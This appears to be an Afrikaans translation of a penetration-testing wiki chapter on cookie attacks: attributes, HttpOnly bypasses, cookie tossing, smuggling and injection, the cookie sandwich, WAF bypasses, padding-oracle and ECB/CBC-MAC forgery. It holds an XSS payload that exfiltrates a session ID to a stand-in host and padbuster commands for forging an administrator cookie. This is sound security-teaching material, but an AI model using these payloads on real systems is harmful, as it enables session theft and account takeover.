Cookies Hacking

Reading time: 17 minutes

Cookie Attributes

Cookies kom met verskeie eienskappe wat hul gedrag in die gebruiker se blaaier beheer. Hier is 'n oorsig van hierdie eienskappe in 'n meer passiewe toon:

Expires and Max-Age

Die vervaldatum van 'n cookie word bepaal deur die Expires attribuut. Omgekeerd definieer die Max-age attribuut die tyd in sekondes totdat 'n cookie verwyder word. Kies Max-age aangesien dit meer moderne praktyke weerspieël.

Domain

Die hosts wat 'n cookie ontvang word gespesifiseer deur die Domain attribuut. Standaard is dit gestel na die host wat die cookie uitgereik het, sonder subdomeine. Wanneer die Domain attribuut egter uitdruklik gespesifiseer word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die Domain attribuut 'n minder beperkende opsie, nuttig waar cookie-deel oor subdomeine nodig is. Byvoorbeeld, Domain=mozilla.org maak cookies beskikbaar op subdomeine soos developer.mozilla.org.

Path

Die Path attribuut dui 'n spesifieke URL-pad aan wat in die versoekte URL teenwoordig moet wees sodat die Cookie header gestuur word. Hierdie attribuut beskou die '/' karakter as 'n gidskeier, wat ooreenkomste in subgidse ook toelaat.

Ordering Rules

Wanneer twee cookies dieselfde naam dra, word die een wat gestuur word gekies op grond van:

• Die cookie wat die langste pad in die versoekte URL ooreenstem.
• Die mees onlangs gestelde cookie as die paaie identies is.

SameSite

• Die SameSite attribuut bepaal of cookies gestuur word op versoeke wat van derdeparty-domeine afkomstig is. Dit bied drie instellings:
• Strict: Beperk die cookie om gestuur te word op derdeparty-versoeke.
• Lax: Laat die cookie toe om gestuur te word met GET-versoeke geïnisieer deur derdeparty-webwerwe.
• None: Laat toe dat die cookie van enige derdeparty-domein gestuur word.

Onthou, terwyl cookies gekonfigureer word, kan begrip van hierdie eienskappe help om te verseker dat hulle soos verwag optree in verskeie scenario's.

Tabel van Invicti en effens aangepas.
'n cookie met die SameSite attribuut sal help om CSRF attacks te voorkom waar 'n aangemelde sessie benodig word.

*Let daarop dat vanaf Chrome80 (feb/2019) die verstekgedrag van 'n cookie sonder 'n cookie samesite attribuut Lax sal wees (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Let ook daarop dat tydelik, na die toepassing van hierdie verandering, die cookies without a SameSite policy in Chrome as None behandel sal word gedurende die eerste 2 minute en daarna as Lax vir top-level cross-site POST versoeke.

Cookies Flags

HttpOnly

Dit verhoed dat die client toegang tot die cookie kry (byvoorbeeld via Javascript: document.cookie)

Bypasses

• As die bladsy die cookies as die response van 'n versoek stuur (byvoorbeeld op 'n PHPinfo bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na daardie bladsy te stuur en die cookies uit die response te steel (sien 'n voorbeeld by https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Dit kan omseil word met TRACE HTTP versoeke aangesien die response van die bediener (indien hierdie HTTP-metode beskikbaar is) die gestuurde cookies sal weerspieël. Hierdie tegniek word Cross-Site Tracking genoem.
• Moderne blaaiers verhoed hierdie tegniek deur nie toe te laat dat 'n TRACE versoek vanaf JS gestuur word nie. Tog is sekere omseilings gevind in spesifieke sagteware, soos om \r\nTRACE in plaas van TRACE na IE6.0 SP2 te stuur.
• 'n Ander manier is die uitbuiting van zero-day kwesbaarhede in blaaiers.
• Dit is moontlik om HttpOnly cookies te oorskryf deur 'n Cookie Jar overflow attack uit te voer:

Cookie Jar Overflow

• Dit is moontlik om 'n Cookie Smuggling attack te gebruik om hierdie cookies te exfiltrateer
• As 'n server-side endpoint die rou session ID in die HTTP response weerspieël (bv. binne HTML-opmerkings of 'n debug-blok), kan jy HttpOnly omseil deur 'n XSS gadget te gebruik om daardie endpoint te fetch, die geheim met regex te onttrek, en dit te exfiltrateer. Voorbeeld XSS payload patroon:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Die versoek sal die cookie slegs in 'n HTTP-versoek stuur as die versoek oor 'n veilige kanaal (gewoonlik HTTPS) gestuur word.

Cookies Voorvoegsels

Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.

For cookies prefixed with __Host-, several conditions must be met:

• Hulle moet gestel word met die secure vlag.
• Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
• Dit is verbode om 'n domein te spesifiseer; dit voorkom dat hulle na subdomeine gestuur word.
• Die path vir hierdie cookies moet op / gestel word.

Dit is belangrik om te let dat cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. Hierdie beperking help om application cookies te isoleer. Daarom kan die gebruik van die __Host- voorvoegsel vir alle application cookies as 'n goeie praktyk beskou word om sekuriteit en isolasie te verbeter.

Oorskryf van cookies

Een van die beskermings van cookies prefixed with __Host- is om te voorkom dat hulle deur subdomeine oorskryf word. Dit voorkom byvoorbeeld Cookie Tossing attacks. In die praatjie Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) word aangebied dat dit moontlik was om __HOST- prefixed cookies vanaf 'n subdomein te stel deur die parser te mislei, byvoorbeeld deur "=" by die begin of by die begin en die einde by te voeg...:

Of in PHP was dit moontlik om ander karakters aan die begin van die cookie-naam by te voeg wat deur onderstrepingskarakters vervang sou word, wat dit moontlik gemaak het om __HOST- cookies oor te skryf:

Cookies Aanvalle

Indien 'n aangepaste cookie sensitiewe data bevat, kontroleer dit (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.

Dekodeer en Manipuleer Cookies

Sensitiewe data wat in cookies ingebed is, moet altyd ondersoek word. Cookies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels ontkodeer word. Hierdie swakheid laat aanvallers toe om die cookie se inhoud te verander en ander gebruikers te naboots deur hul gewysigde data terug in die cookie te kodeer.

Session Hijacking

Hierdie aanval behels die steel van 'n gebruiker se cookie om ongemagtigde toegang tot hul rekening in 'n toepassing te verkry. Deur die gesteelde cookie te gebruik, kan 'n aanvaller die wettige gebruiker naboots.

Session Fixation

In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke cookie te gebruik om aan te meld. As die toepassing nie 'n nuwe cookie toewys tydens aanmelding nie, kan die aanvaller, wat die oorspronklike cookie besit, die slagoffer naboots. Hierdie tegniek berus daarop dat die slagoffer aanmeld met 'n cookie wat deur die aanvaller voorsien is.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie-cookie te gebruik. Die slagoffer, wat glo hy is by sy eie rekening aangemeld, sal onbedoeld aksies uitvoer in die konteks van die aanvaller se rekening.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Klik op die vorige skakel om na 'n bladsy te gaan wat moontlike foutjies in JWT verduidelik.

JSON Web Tokens (JWT) wat in cookies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële swakhede en hoe om dit uit te buit, word dit aanbeveel om die gekoppelde dokument oor hacking JWT te raadpleeg.

Cross-Site Request Forgery (CSRF)

Hierdie aanval dwing 'n ingemelde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geauthentiseer is. Aanvallers kan cookies uitbuit wat outomaties met elke versoek na die kwesbare webwerf gestuur word.

Leë Cookies

(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Die resultaat in die gestuurde cookie header is a=v1; test value; b=v2;. Intrigerend genoeg maak dit manipulasie van cookies moontlik as 'n cookie met 'n leë naam gestel word, moontlik ander cookies te beheer deur die leë cookie op 'n spesifieke waarde te stel:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Dit lei daartoe dat die browser 'n cookie-header stuur wat deur elke webbediener geïnterpreteer word as 'n cookie met die naam a en die waarde b.

Chrome Bug: Unicode Surrogate Codepoint Issue

In Chrome, indien 'n Unicode surrogate codepoint deel van 'n set cookie is, word document.cookie gekorrupteer en gee daarna 'n leë string terug:

document.cookie = "\ud800=meep"

Dit lei daartoe dat document.cookie 'n leë string teruggee, wat permanente korrupsie aandui.

Cookie Smuggling weens parsingsprobleme

(Kyk verder na die besonderhede in dieoriginal research) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer cookie strings verkeerd as gevolg van verouderde RFC2965-ondersteuning. Hulle lees 'n double-quoted cookie value as 'n enkele waarde, selfs al bevat dit semikolons, wat normaalweg key-value pairs van mekaar moet skei:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Die verkeerde parsing van cookies deur servers, veral Undertow, Zope en diegene wat Python se http.cookie.SimpleCookie en http.cookie.BaseCookie gebruik, skep geleenthede vir cookie injection-aanvalle. Hierdie servers baken die begin van nuwe cookies nie behoorlik af nie, wat aanvallers toelaat om cookies te spoof:

• Undertow verwag 'n nuwe cookie onmiddellik na 'n gequote waarde sonder 'n semikolon.
• Zope soek 'n komma om die parsing van die volgende cookie te begin.
• Python se cookie-klasse begin parsing op 'n spasie-karakter.

Hierdie kwesbaarheid is besonders gevaarlik in webtoepassings wat op cookie-gebaseerde CSRF-beskerming staatmaak, aangesien dit aanvallers toelaat om vervalste CSRF-token cookies te injekteer en moontlik sekuriteitsmaatreëls te omseil. Die probleem word vererger deur Python se hantering van duplikaat cookie-name, waar die laaste voorkoms vroeër een oor skryf. Dit wek ook kommer vir __Secure- en __Host- cookies in onveilige kontekste en kan lei tot authorization bypasses wanneer cookies aan back-end servers deurgegee word wat vatbaar is vir spoofing.

Cookies $version

WAF Bypass

According to this blogpost, dit kan moontlik wees om die cookie-attribuut $Version=1 te gebruik sodat die backend 'n ou logika gebruik om die cookie te parse weens RFC2109. Verder kan ander waardes soos $Domain en $Path gebruik word om die gedrag van die backend met die cookie te verander.

Cookie Sandwich Attack

According to this blogpost is dit moontlik om die cookie sandwich-tegniek te gebruik om HttpOnly cookies te steel. Dit is die vereistes en stappe:

• Vind 'n plek waar 'n skynbaar nuttelose cookie in die response gereflekteer word
• Create a cookie called $Version met waarde 1 (jy kan dit in 'n XSS-aanval vanaf JS doen) met 'n meer spesifieke path sodat dit die aanvanklike posisie kry (sommige frameworks soos python benodig nie hierdie stap nie)
• Create the cookie that is reflected met 'n waarde wat 'n oop dubbel-aanhalingsteken oorlaat en met 'n spesifieke path sodat dit in die cookie db ná die vorige een ($Version) geposisioneer word
• Dan sal die regte cookie volgende in die volgorde kom
• Create a dummy cookie that closes the double quotes binne sy waarde

Op hierdie manier word die slagoffer-cookie vasgevang binne die nuwe cookie version 1 en sal dit gereflekteer word elke keer wanneer dit gereflekteer word. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Kyk na die vorige afdeling.

Bypassing value analysis with quoted-string encoding

Hierdie parsing beteken dat ontsnapte karakters binne cookies teruggesit word, dus "\a" word "a". Dit kan nuttig wees om WAFs te omseil soos:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

In die RFC2109 word aangedui dat 'n komma as 'n skeier tussen cookie values gebruik kan word. En dit is ook moontlik om spasies en tabs voor en na die gelykheidsteken by te voeg. Daarom genereer 'n cookie soos $Version=1; foo=bar, abc = qux nie die cookie "foo":"bar, admin = qux" nie maar die cookies foo":"bar" en "admin":"qux". Let daarop hoe 2 cookies gegenereer word en hoe die spasie voor en na die gelykheidsteken by admin verwyder is.

Bypassing value analysis with cookie splitting

Laastens sal verskillende backdoors verskillende cookies wat in verskillende cookie headers gestuur word in 'n string saamvoeg, soos in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Wat dit moontlik kan maak om 'n WAF te omseil, soos in hierdie voorbeeld:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ekstra Kwesbare Cookies Kontroles

Basiese kontroles

• Die cookie is elke keer dieselfde wanneer jy login.
• Log out en probeer om dieselfde cookie te gebruik.
• Probeer om met 2 devices (of browsers) na dieselfde account te log in terwyl jy dieselfde cookie gebruik.
• Kontroleer of die cookie enige inligting daarin het en probeer om dit te wysig.
• Probeer om verskeie accounts te skep met byna dieselfde username en kyk of jy ooreenkomste sien.
• Kontroleer die "remember me" opsie as dit bestaan om te sien hoe dit werk. As dit bestaan en moontlik kwesbaar is, gebruik altyd die cookie van remember me sonder enige ander cookie.
• Kontroleer of die vorige cookie werk selfs nadat jy die wagwoord verander het.

Gevorderde Cookies-aanvalle

As die cookie dieselfde bly (of byna) wanneer jy log in, beteken dit waarskynlik dat die cookie verwant is aan 'n veld van jou account (waarskynlik die username). Dan kan jy:

• Probeer om baie accounts te skep met username baie soortgelyk en probeer om te raai hoe die algoritme werk.
• Probeer bruteforce the username. As die cookie slegs as 'n authenticatiemethode vir jou username gestoor word, kan jy 'n account skep met username "Bmin" en bruteforce elke enkele bit van jou cookie, omdat een van die cookies wat jy sal probeer die een sal wees wat aan "admin" behoort.
• Probeer Padding Oracle (jy kan die inhoud van die cookie ontsleutel). Gebruik padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster sal verskeie pogings doen en jou vra watter toestand die fouttoestand is (die een wat nie geldig is nie).

Dan sal dit begin decrypting die cookie (dit kan several minute neem)

As die attack suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te encrypt. Byvoorbeeld, as jy sou wil encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Hierdie uitvoering sal jou die cookie korrek geënkripteer en gekodeer gee met die string user=administrator daarin.

CBC-MAC

Miskien kan 'n cookie 'n waarde hê en met CBC geteken word. Dan is die integriteit van die waarde die handtekening wat geskep word deur CBC op dieselfde waarde toe te pas. Aangesien dit aanbeveel word om as IV 'n null vector te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.

Die aanval

1. Kry die handtekening van gebruikersnaam administ = t
2. Kry die handtekening van gebruikersnaam rator\x00\x00\x00 XOR t = t'
3. Stel in die cookie die waarde administrator+t' (t' sal 'n geldige handtekening wees van (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

As die cookie met ECB geënkripteer word, kan dit kwesbaar wees.
Wanneer jy aanmeld, moet die cookie wat jy ontvang altyd dieselfde wees.

Hoe om te ontdek en aan te val:

Skep 2 gebruikers met byna dieselfde data (username, password, email, ens.) en probeer 'n patroon binne die gegewe cookie ontdek.

Skep 'n gebruiker byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die cookie is (aangesien ECB met dieselfde sleutel elke blok enkripteer, kan dieselfde geënkripteerde bytes verskyn as die gebruikersnaam geënkripteer word).

Daar behoort 'n patroon te wees (met die grootte van 'n gebruikte blok). Dus, as jy weet hoe 'n klomp "a" geënkripteer word, kan jy 'n gebruikersnaam skep: "a"*(size of the block)+"admin". Dan kan jy die geënkripteerde patroon van 'n blok "a" uit die cookie verwyder. En jy sal die cookie van die gebruikersnaam "admin" hê.

References

• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/